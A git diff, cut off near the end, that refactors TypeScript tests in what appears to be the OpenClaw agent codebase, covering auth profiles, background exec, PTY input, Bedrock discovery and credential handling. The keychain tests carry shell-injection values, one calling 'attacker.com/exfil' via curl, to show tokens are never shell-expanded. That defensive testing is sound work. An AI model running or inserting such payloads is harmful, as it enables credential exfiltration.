profileId,
{ provider, mode: "api_key" },
]),
);
}
describe("resolveAuthProfileOrder", () => {
it("normalizes z.ai aliases in auth.order", () => {
@@ -7,27 +34,13 @@ describe("resolveAuthProfileOrder", () => {
cfg: {
auth: {
order: { "z.ai": ["zai:work", "zai:default"] },
profiles: {
"zai:default": { provider: "zai", mode: "api_key" },
"zai:work": { provider: "zai", mode: "api_key" },
},
},
},
store: {
version: 1,
profiles: {
"zai:default": {
type: "api_key",
provider: "zai",
key: "sk-default",
},
"zai:work": {
type: "api_key",
provider: "zai",
key: "sk-work",
},
profiles: makeApiKeyProfilesByProviderProvider({
"zai:default": "zai",
"zai:work": "zai",
}),
},
},
store: makeApiKeyStore("zai", ["zai:default", "zai:work"]),
provider: "zai",
});
expect(order).toEqual(["zai:work", "zai:default"]);
@@ -37,27 +50,13 @@ describe("resolveAuthProfileOrder", () => {
cfg: {
auth: {
order: { OpenAI: ["openai:work", "openai:default"] },
profiles: {
"openai:default": { provider: "openai", mode: "api_key" },
"openai:work": { provider: "openai", mode: "api_key" },
},
},
},
store: {
version: 1,
profiles: {
"openai:default": {
type: "api_key",
provider: "openai",
key: "sk-default",
},
"openai:work": {
type: "api_key",
provider: "openai",
key: "sk-work",
},
profiles: makeApiKeyProfilesByProviderProvider({
"openai:default": "openai",
"openai:work": "openai",
}),
},
},
store: makeApiKeyStore("openai", ["openai:default", "openai:work"]),
provider: "openai",
});
expect(order).toEqual(["openai:work", "openai:default"]);
@@ -66,27 +65,13 @@ describe("resolveAuthProfileOrder", () => {
const order = resolveAuthProfileOrder({
cfg: {
auth: {
profiles: {
"zai:default": { provider: "z.ai", mode: "api_key" },
"zai:work": { provider: "Z.AI", mode: "api_key" },
},
},
},
store: {
version: 1,
profiles: {
"zai:default": {
type: "api_key",
provider: "zai",
key: "sk-default",
},
"zai:work": {
type: "api_key",
provider: "zai",
key: "sk-work",
},
profiles: makeApiKeyProfilesByProviderProvider({
"zai:default": "z.ai",
"zai:work": "Z.AI",
}),
},
},
store: makeApiKeyStore("zai", ["zai:default", "zai:work"]),
provider: "zai",
});
expect(order).toEqual(["zai:default", "zai:work"]);

View File

@@ -33,6 +33,7 @@ export type {
export {
calculateAuthProfileCooldownMs,
clearAuthProfileCooldown,
getSoonestCooldownExpiry,
isProfileInCooldown,
markAuthProfileCooldown,
markAuthProfileFailure,

View File

@@ -25,6 +25,32 @@ export function isProfileInCooldown(store: AuthProfileStore, profileId: string):
return unusableUntil ? Date.now() < unusableUntil : false;
}
/**
* Return the soonest `unusableUntil` timestamp (ms epoch) among the given
* profiles, or `null` when no profile has a recorded cooldown. Note: the
* returned timestamp may be in the past if the cooldown has already expired.
*/
export function getSoonestCooldownExpiry(
store: AuthProfileStore,
profileIds: string[],
): number | null {
let soonest: number | null = null;
for (const id of profileIds) {
const stats = store.usageStats?.[id];
if (!stats) {
continue;
}
const until = resolveProfileUnusableUntil(stats);
if (typeof until !== "number" || !Number.isFinite(until) || until <= 0) {
continue;
}
if (soonest === null || until < soonest) {
soonest = until;
}
}
return soonest;
}
/**
* Mark a profile as successfully used. Resets error count and updates lastUsed.
* Uses store lock to avoid overwriting concurrent usage updates.

View File

@@ -62,6 +62,16 @@ async function waitForCompletion(sessionId: string) {
return status;
}
async function runBackgroundEchoLines(lines: string[]) {
const result = await execTool.execute("call1", {
command: echoLines(lines),
background: true,
});
const sessionId = (result.details as { sessionId: string }).sessionId;
await waitForCompletion(sessionId);
return sessionId;
}
beforeEach(() => {
resetProcessRegistryForTests();
resetSystemEventsForTest();
@@ -223,12 +233,7 @@ describe("exec tool backgrounding", () => {
it("defaults process log to a bounded tail when no window is provided", async () => {
const lines = Array.from({ length: 260 }, (_value, index) => `line-${index + 1}`);
const result = await execTool.execute("call1", {
command: echoLines(lines),
background: true,
});
const sessionId = (result.details as { sessionId: string }).sessionId;
await waitForCompletion(sessionId);
const sessionId = await runBackgroundEchoLines(lines);
const log = await processTool.execute("call2", {
action: "log",
@@ -263,12 +268,7 @@ describe("exec tool backgrounding", () => {
it("keeps offset-only log requests unbounded by default tail mode", async () => {
const lines = Array.from({ length: 260 }, (_value, index) => `line-${index + 1}`);
const result = await execTool.execute("call1", {
command: echoLines(lines),
background: true,
});
const sessionId = (result.details as { sessionId: string }).sessionId;
await waitForCompletion(sessionId);
const sessionId = await runBackgroundEchoLines(lines);
const log = await processTool.execute("call2", {
action: "log",

View File

@@ -12,166 +12,121 @@ afterEach(() => {
resetProcessRegistryForTests();
});
test("background exec is not killed when tool signal aborts", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
const abortController = new AbortController();
async function waitForFinishedSession(sessionId: string) {
let finished = getFinishedSession(sessionId);
const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000);
while (!finished && Date.now() < deadline) {
await sleep(20);
finished = getFinishedSession(sessionId);
}
return finished;
}
const result = await tool.execute(
function cleanupRunningSession(sessionId: string) {
const running = getSession(sessionId);
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
return running;
}
async function expectBackgroundSessionSurvivesAbort(params: {
tool: ReturnType<typeof createExecTool>;
executeParams: Record<string, unknown>;
}) {
const abortController = new AbortController();
const result = await params.tool.execute(
"toolcall",
{ command: 'node -e "setTimeout(() => {}, 5000)"', background: true },
params.executeParams,
abortController.signal,
);
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
abortController.abort();
await sleep(150);
const running = getSession(sessionId);
const finished = getFinishedSession(sessionId);
try {
expect(finished).toBeUndefined();
expect(running?.exited).toBe(false);
} finally {
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
cleanupRunningSession(sessionId);
}
}
async function expectBackgroundSessionTimesOut(params: {
tool: ReturnType<typeof createExecTool>;
executeParams: Record<string, unknown>;
signal?: AbortSignal;
abortAfterStart?: boolean;
}) {
const abortController = new AbortController();
const signal = params.signal ?? abortController.signal;
const result = await params.tool.execute("toolcall", params.executeParams, signal);
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
if (params.abortAfterStart) {
abortController.abort();
}
const finished = await waitForFinishedSession(sessionId);
try {
expect(finished).toBeTruthy();
expect(finished?.status).toBe("failed");
} finally {
cleanupRunningSession(sessionId);
}
}
test("background exec is not killed when tool signal aborts", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
await expectBackgroundSessionSurvivesAbort({
tool,
executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', background: true },
});
});
test("pty background exec is not killed when tool signal aborts", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
const abortController = new AbortController();
const result = await tool.execute(
"toolcall",
{ command: 'node -e "setTimeout(() => {}, 5000)"', background: true, pty: true },
abortController.signal,
);
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
abortController.abort();
await sleep(150);
const running = getSession(sessionId);
const finished = getFinishedSession(sessionId);
try {
expect(finished).toBeUndefined();
expect(running?.exited).toBe(false);
} finally {
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
}
await expectBackgroundSessionSurvivesAbort({
tool,
executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', background: true, pty: true },
});
});
test("background exec still times out after tool signal abort", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
const abortController = new AbortController();
const result = await tool.execute(
"toolcall",
{
await expectBackgroundSessionTimesOut({
tool,
executeParams: {
command: 'node -e "setTimeout(() => {}, 5000)"',
background: true,
timeout: 0.2,
},
abortController.signal,
);
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
abortController.abort();
let finished = getFinishedSession(sessionId);
const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000);
while (!finished && Date.now() < deadline) {
await sleep(20);
finished = getFinishedSession(sessionId);
}
const running = getSession(sessionId);
try {
expect(finished).toBeTruthy();
expect(finished?.status).toBe("failed");
} finally {
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
}
abortAfterStart: true,
});
});
test("yielded background exec is not killed when tool signal aborts", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 10 });
const abortController = new AbortController();
const result = await tool.execute(
"toolcall",
{ command: 'node -e "setTimeout(() => {}, 5000)"', yieldMs: 5 },
abortController.signal,
);
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
abortController.abort();
await sleep(150);
const running = getSession(sessionId);
const finished = getFinishedSession(sessionId);
try {
expect(finished).toBeUndefined();
expect(running?.exited).toBe(false);
} finally {
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
}
await expectBackgroundSessionSurvivesAbort({
tool,
executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', yieldMs: 5 },
});
});
test("yielded background exec still times out", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 10 });
const result = await tool.execute("toolcall", {
command: 'node -e "setTimeout(() => {}, 5000)"',
yieldMs: 5,
timeout: 0.2,
await expectBackgroundSessionTimesOut({
tool,
executeParams: {
command: 'node -e "setTimeout(() => {}, 5000)"',
yieldMs: 5,
timeout: 0.2,
},
});
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
let finished = getFinishedSession(sessionId);
const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000);
while (!finished && Date.now() < deadline) {
await sleep(20);
finished = getFinishedSession(sessionId);
}
const running = getSession(sessionId);
try {
expect(finished).toBeTruthy();
expect(finished?.status).toBe("failed");
} finally {
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
}
});

View File

@@ -8,12 +8,11 @@ afterEach(() => {
resetProcessRegistryForTests();
});
test("process send-keys encodes Enter for pty sessions", async () => {
async function startPtySession(command: string) {
const execTool = createExecTool();
const processTool = createProcessTool();
const result = await execTool.execute("toolcall", {
command:
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);process.stdin.on(dataEvent,d=>{process.stdout.write(d);if(d.includes(10)||d.includes(13))process.exit(0);});"',
command,
pty: true,
background: true,
});
@@ -21,6 +20,36 @@ test("process send-keys encodes Enter for pty sessions", async () => {
expect(result.details.status).toBe("running");
const sessionId = result.details.sessionId;
expect(sessionId).toBeTruthy();
return { processTool, sessionId };
}
async function waitForSessionCompletion(params: {
processTool: ReturnType<typeof createProcessTool>;
sessionId: string;
expectedText: string;
}) {
const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000);
while (Date.now() < deadline) {
await sleep(50);
const poll = await params.processTool.execute("toolcall", {
action: "poll",
sessionId: params.sessionId,
});
const details = poll.details as { status?: string; aggregated?: string };
if (details.status !== "running") {
expect(details.status).toBe("completed");
expect(details.aggregated ?? "").toContain(params.expectedText);
return;
}
}
throw new Error(`PTY session did not exit after ${params.expectedText}`);
}
test("process send-keys encodes Enter for pty sessions", async () => {
const { processTool, sessionId } = await startPtySession(
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);process.stdin.on(dataEvent,d=>{process.stdout.write(d);if(d.includes(10)||d.includes(13))process.exit(0);});"',
);
await processTool.execute("toolcall", {
action: "send-keys",
@@ -28,51 +57,18 @@ test("process send-keys encodes Enter for pty sessions", async () => {
keys: ["h", "i", "Enter"],
});
const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000);
while (Date.now() < deadline) {
await sleep(50);
const poll = await processTool.execute("toolcall", { action: "poll", sessionId });
const details = poll.details as { status?: string; aggregated?: string };
if (details.status !== "running") {
expect(details.status).toBe("completed");
expect(details.aggregated ?? "").toContain("hi");
return;
}
}
throw new Error("PTY session did not exit after send-keys");
await waitForSessionCompletion({ processTool, sessionId, expectedText: "hi" });
});
test("process submit sends Enter for pty sessions", async () => {
const execTool = createExecTool();
const processTool = createProcessTool();
const result = await execTool.execute("toolcall", {
command:
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);const submitted=String.fromCharCode(115,117,98,109,105,116,116,101,100);process.stdin.on(dataEvent,d=>{if(d.includes(10)||d.includes(13)){process.stdout.write(submitted);process.exit(0);}});"',
pty: true,
background: true,
});
expect(result.details.status).toBe("running");
const sessionId = result.details.sessionId;
expect(sessionId).toBeTruthy();
const { processTool, sessionId } = await startPtySession(
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);const submitted=String.fromCharCode(115,117,98,109,105,116,116,101,100);process.stdin.on(dataEvent,d=>{if(d.includes(10)||d.includes(13)){process.stdout.write(submitted);process.exit(0);}});"',
);
await processTool.execute("toolcall", {
action: "submit",
sessionId,
});
const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000);
while (Date.now() < deadline) {
await sleep(50);
const poll = await processTool.execute("toolcall", { action: "poll", sessionId });
const details = poll.details as { status?: string; aggregated?: string };
if (details.status !== "running") {
expect(details.status).toBe("completed");
expect(details.aggregated ?? "").toContain("submitted");
return;
}
}
throw new Error("PTY session did not exit after submit");
await waitForSessionCompletion({ processTool, sessionId, expectedText: "submitted" });
});

View File

@@ -4,15 +4,35 @@ import { beforeEach, describe, expect, it, vi } from "vitest";
const sendMock = vi.fn();
const clientFactory = () => ({ send: sendMock }) as unknown as BedrockClient;
const baseActiveAnthropicSummary = {
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
};
async function loadDiscovery() {
const mod = await import("./bedrock-discovery.js");
mod.resetBedrockDiscoveryCacheForTest();
return mod;
}
function mockSingleActiveSummary(overrides: Partial<typeof baseActiveAnthropicSummary> = {}): void {
sendMock.mockResolvedValueOnce({
modelSummaries: [{ ...baseActiveAnthropicSummary, ...overrides }],
});
}
describe("bedrock discovery", () => {
beforeEach(() => {
sendMock.mockReset();
});
it("filters to active streaming text models and maps modalities", async () => {
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
await import("./bedrock-discovery.js");
resetBedrockDiscoveryCacheForTest();
const { discoverBedrockModels } = await loadDiscovery();
sendMock.mockResolvedValueOnce({
modelSummaries: [
@@ -68,23 +88,8 @@ describe("bedrock discovery", () => {
});
it("applies provider filter", async () => {
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
await import("./bedrock-discovery.js");
resetBedrockDiscoveryCacheForTest();
sendMock.mockResolvedValueOnce({
modelSummaries: [
{
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
},
],
});
const { discoverBedrockModels } = await loadDiscovery();
mockSingleActiveSummary();
const models = await discoverBedrockModels({
region: "us-east-1",
@@ -95,23 +100,8 @@ describe("bedrock discovery", () => {
});
it("uses configured defaults for context and max tokens", async () => {
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
await import("./bedrock-discovery.js");
resetBedrockDiscoveryCacheForTest();
sendMock.mockResolvedValueOnce({
modelSummaries: [
{
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
},
],
});
const { discoverBedrockModels } = await loadDiscovery();
mockSingleActiveSummary();
const models = await discoverBedrockModels({
region: "us-east-1",
@@ -122,23 +112,8 @@ describe("bedrock discovery", () => {
});
it("caches results when refreshInterval is enabled", async () => {
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
await import("./bedrock-discovery.js");
resetBedrockDiscoveryCacheForTest();
sendMock.mockResolvedValueOnce({
modelSummaries: [
{
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
},
],
});
const { discoverBedrockModels } = await loadDiscovery();
mockSingleActiveSummary();
await discoverBedrockModels({ region: "us-east-1", clientFactory });
await discoverBedrockModels({ region: "us-east-1", clientFactory });
@@ -146,37 +121,11 @@ describe("bedrock discovery", () => {
});
it("skips cache when refreshInterval is 0", async () => {
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
await import("./bedrock-discovery.js");
resetBedrockDiscoveryCacheForTest();
const { discoverBedrockModels } = await loadDiscovery();
sendMock
.mockResolvedValueOnce({
modelSummaries: [
{
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
},
],
})
.mockResolvedValueOnce({
modelSummaries: [
{
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
},
],
});
.mockResolvedValueOnce({ modelSummaries: [baseActiveAnthropicSummary] })
.mockResolvedValueOnce({ modelSummaries: [baseActiveAnthropicSummary] });
await discoverBedrockModels({
region: "us-east-1",

View File

@@ -6,6 +6,31 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const execSyncMock = vi.fn();
const execFileSyncMock = vi.fn();
function mockExistingClaudeKeychainItem() {
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
const argv = Array.isArray(args) ? args.map(String) : [];
if (String(file) === "security" && argv.includes("find-generic-password")) {
return JSON.stringify({
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
});
}
return "";
});
}
function getAddGenericPasswordCall() {
return execFileSyncMock.mock.calls.find(
([binary, args]) =>
String(binary) === "security" &&
Array.isArray(args) &&
(args as unknown[]).map(String).includes("add-generic-password"),
);
}
describe("cli credentials", () => {
beforeEach(() => {
vi.useFakeTimers();
@@ -21,19 +46,7 @@ describe("cli credentials", () => {
});
it("updates the Claude Code keychain item in place", async () => {
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
const argv = Array.isArray(args) ? args.map(String) : [];
if (String(file) === "security" && argv.includes("find-generic-password")) {
return JSON.stringify({
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
});
}
return "";
});
mockExistingClaudeKeychainItem();
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
@@ -50,12 +63,7 @@ describe("cli credentials", () => {
// Verify execFileSync was called with array args (no shell interpretation)
expect(execFileSyncMock).toHaveBeenCalledTimes(2);
const addCall = execFileSyncMock.mock.calls.find(
([binary, args]) =>
String(binary) === "security" &&
Array.isArray(args) &&
(args as unknown[]).map(String).includes("add-generic-password"),
);
const addCall = getAddGenericPasswordCall();
expect(addCall?.[0]).toBe("security");
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
});
@@ -63,19 +71,7 @@ describe("cli credentials", () => {
it("prevents shell injection via malicious OAuth token values", async () => {
const maliciousToken = "x'$(curl attacker.com/exfil)'y";
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
const argv = Array.isArray(args) ? args.map(String) : [];
if (String(file) === "security" && argv.includes("find-generic-password")) {
return JSON.stringify({
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
});
}
return "";
});
mockExistingClaudeKeychainItem();
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
@@ -91,12 +87,7 @@ describe("cli credentials", () => {
expect(ok).toBe(true);
// The -w argument must contain the malicious string literally, not shell-expanded
const addCall = execFileSyncMock.mock.calls.find(
([binary, args]) =>
String(binary) === "security" &&
Array.isArray(args) &&
(args as unknown[]).map(String).includes("add-generic-password"),
);
const addCall = getAddGenericPasswordCall();
const args = (addCall?.[1] as string[] | undefined) ?? [];
const wIndex = args.indexOf("-w");
const passwordValue = args[wIndex + 1];
@@ -108,19 +99,7 @@ describe("cli credentials", () => {
it("prevents shell injection via backtick command substitution in tokens", async () => {
const backtickPayload = "token`id`value";
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
const argv = Array.isArray(args) ? args.map(String) : [];
if (String(file) === "security" && argv.includes("find-generic-password")) {
return JSON.stringify({
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
});
}
return "";
});
mockExistingClaudeKeychainItem();
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
@@ -136,12 +115,7 @@ describe("cli credentials", () => {
expect(ok).toBe(true);
// Backtick payload must be passed literally, not interpreted
const addCall = execFileSyncMock.mock.calls.find(
([binary, args]) =>
String(binary) === "security" &&
Array.isArray(args) &&
(args as unknown[]).map(String).includes("add-generic-password"),
);
const addCall = getAddGenericPasswordCall();
const args = (addCall?.[1] as string[] | undefined) ?? [];
const wIndex = args.indexOf("-w");
const passwordValue = args[wIndex + 1];

View File

@@ -14,6 +14,59 @@ const oauthFixture = {
accountId: "acct_123",
};
const BEDROCK_PROVIDER_CFG = {
models: {
providers: {
"amazon-bedrock": {
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
api: "bedrock-converse-stream",
auth: "aws-sdk",
models: [],
},
},
},
} as const;
function captureBedrockEnv() {
return {
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
access: process.env.AWS_ACCESS_KEY_ID,
secret: process.env.AWS_SECRET_ACCESS_KEY,
profile: process.env.AWS_PROFILE,
};
}
function restoreBedrockEnv(previous: ReturnType<typeof captureBedrockEnv>) {
if (previous.bearer === undefined) {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
} else {
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
}
if (previous.access === undefined) {
delete process.env.AWS_ACCESS_KEY_ID;
} else {
process.env.AWS_ACCESS_KEY_ID = previous.access;
}
if (previous.secret === undefined) {
delete process.env.AWS_SECRET_ACCESS_KEY;
} else {
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
}
if (previous.profile === undefined) {
delete process.env.AWS_PROFILE;
} else {
process.env.AWS_PROFILE = previous.profile;
}
}
async function resolveBedrockProvider() {
return resolveApiKeyForProvider({
provider: "amazon-bedrock",
store: { version: 1, profiles: {} },
cfg: BEDROCK_PROVIDER_CFG as never,
});
}
describe("getApiKeyForModel", () => {
it("migrates legacy oauth.json into auth-profiles.json", async () => {
const envSnapshot = captureEnv([
@@ -258,12 +311,7 @@ describe("getApiKeyForModel", () => {
});
it("prefers Bedrock bearer token over access keys and profile", async () => {
const previous = {
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
access: process.env.AWS_ACCESS_KEY_ID,
secret: process.env.AWS_SECRET_ACCESS_KEY,
profile: process.env.AWS_PROFILE,
};
const previous = captureBedrockEnv();
try {
process.env.AWS_BEARER_TOKEN_BEDROCK = "bedrock-token";
@@ -271,57 +319,18 @@ describe("getApiKeyForModel", () => {
process.env.AWS_SECRET_ACCESS_KEY = "secret-key";
process.env.AWS_PROFILE = "profile";
const resolved = await resolveApiKeyForProvider({
provider: "amazon-bedrock",
store: { version: 1, profiles: {} },
cfg: {
models: {
providers: {
"amazon-bedrock": {
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
api: "bedrock-converse-stream",
auth: "aws-sdk",
models: [],
},
},
},
} as never,
});
const resolved = await resolveBedrockProvider();
expect(resolved.mode).toBe("aws-sdk");
expect(resolved.apiKey).toBeUndefined();
expect(resolved.source).toContain("AWS_BEARER_TOKEN_BEDROCK");
} finally {
if (previous.bearer === undefined) {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
} else {
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
}
if (previous.access === undefined) {
delete process.env.AWS_ACCESS_KEY_ID;
} else {
process.env.AWS_ACCESS_KEY_ID = previous.access;
}
if (previous.secret === undefined) {
delete process.env.AWS_SECRET_ACCESS_KEY;
} else {
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
}
if (previous.profile === undefined) {
delete process.env.AWS_PROFILE;
} else {
process.env.AWS_PROFILE = previous.profile;
}
restoreBedrockEnv(previous);
}
});
it("prefers Bedrock access keys over profile", async () => {
const previous = {
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
access: process.env.AWS_ACCESS_KEY_ID,
secret: process.env.AWS_SECRET_ACCESS_KEY,
profile: process.env.AWS_PROFILE,
};
const previous = captureBedrockEnv();
try {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
@@ -329,57 +338,18 @@ describe("getApiKeyForModel", () => {
process.env.AWS_SECRET_ACCESS_KEY = "secret-key";
process.env.AWS_PROFILE = "profile";
const resolved = await resolveApiKeyForProvider({
provider: "amazon-bedrock",
store: { version: 1, profiles: {} },
cfg: {
models: {
providers: {
"amazon-bedrock": {
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
api: "bedrock-converse-stream",
auth: "aws-sdk",
models: [],
},
},
},
} as never,
});
const resolved = await resolveBedrockProvider();
expect(resolved.mode).toBe("aws-sdk");
expect(resolved.apiKey).toBeUndefined();
expect(resolved.source).toContain("AWS_ACCESS_KEY_ID");
} finally {
if (previous.bearer === undefined) {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
} else {
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
}
if (previous.access === undefined) {
delete process.env.AWS_ACCESS_KEY_ID;
} else {
process.env.AWS_ACCESS_KEY_ID = previous.access;
}
if (previous.secret === undefined) {
delete process.env.AWS_SECRET_ACCESS_KEY;
} else {
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
}
if (previous.profile === undefined) {
delete process.env.AWS_PROFILE;
} else {
process.env.AWS_PROFILE = previous.profile;
}
restoreBedrockEnv(previous);
}
});
it("uses Bedrock profile when access keys are missing", async () => {
const previous = {
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
access: process.env.AWS_ACCESS_KEY_ID,
secret: process.env.AWS_SECRET_ACCESS_KEY,
profile: process.env.AWS_PROFILE,
};
const previous = captureBedrockEnv();
try {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
@@ -387,47 +357,13 @@ describe("getApiKeyForModel", () => {
delete process.env.AWS_SECRET_ACCESS_KEY;
process.env.AWS_PROFILE = "profile";
const resolved = await resolveApiKeyForProvider({
provider: "amazon-bedrock",
store: { version: 1, profiles: {} },
cfg: {
models: {
providers: {
"amazon-bedrock": {
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
api: "bedrock-converse-stream",
auth: "aws-sdk",
models: [],
},
},
},
} as never,
});
const resolved = await resolveBedrockProvider();
expect(resolved.mode).toBe("aws-sdk");
expect(resolved.apiKey).toBeUndefined();
expect(resolved.source).toContain("AWS_PROFILE");
} finally {
if (previous.bearer === undefined) {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
} else {
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
}
if (previous.access === undefined) {
delete process.env.AWS_ACCESS_KEY_ID;
} else {
process.env.AWS_ACCESS_KEY_ID = previous.access;
}
if (previous.secret === undefined) {
delete process.env.AWS_SECRET_ACCESS_KEY;
} else {
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
}
if (previous.profile === undefined) {
delete process.env.AWS_PROFILE;
} else {
process.env.AWS_PROFILE = previous.profile;
}
restoreBedrockEnv(previous);
}
});

View File

@@ -1,48 +1,16 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { describe, expect, it } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import { loadModelCatalog } from "./model-catalog.js";
import {
__setModelCatalogImportForTest,
loadModelCatalog,
resetModelCatalogCacheForTest,
} from "./model-catalog.js";
type PiSdkModule = typeof import("./pi-model-discovery.js");
vi.mock("./models-config.js", () => ({
ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }),
}));
vi.mock("./agent-paths.js", () => ({
resolveOpenClawAgentDir: () => "/tmp/openclaw",
}));
installModelCatalogTestHooks,
mockCatalogImportFailThenRecover,
} from "./model-catalog.test-harness.js";
describe("loadModelCatalog e2e smoke", () => {
beforeEach(() => {
resetModelCatalogCacheForTest();
});
afterEach(() => {
__setModelCatalogImportForTest();
resetModelCatalogCacheForTest();
vi.restoreAllMocks();
});
installModelCatalogTestHooks();
it("recovers after an import failure on the next load", async () => {
let call = 0;
__setModelCatalogImportForTest(async () => {
call += 1;
if (call === 1) {
throw new Error("boom");
}
return {
AuthStorage: class {},
ModelRegistry: class {
getAll() {
return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }];
}
},
} as unknown as PiSdkModule;
});
mockCatalogImportFailThenRecover();
const cfg = {} as OpenClawConfig;
expect(await loadModelCatalog({ config: cfg })).toEqual([]);

View File

@@ -0,0 +1,43 @@
import { afterEach, beforeEach, vi } from "vitest";
import { __setModelCatalogImportForTest, resetModelCatalogCacheForTest } from "./model-catalog.js";
export type PiSdkModule = typeof import("./pi-model-discovery.js");
vi.mock("./models-config.js", () => ({
ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }),
}));
vi.mock("./agent-paths.js", () => ({
resolveOpenClawAgentDir: () => "/tmp/openclaw",
}));
export function installModelCatalogTestHooks() {
beforeEach(() => {
resetModelCatalogCacheForTest();
});
afterEach(() => {
__setModelCatalogImportForTest();
resetModelCatalogCacheForTest();
vi.restoreAllMocks();
});
}
export function mockCatalogImportFailThenRecover() {
let call = 0;
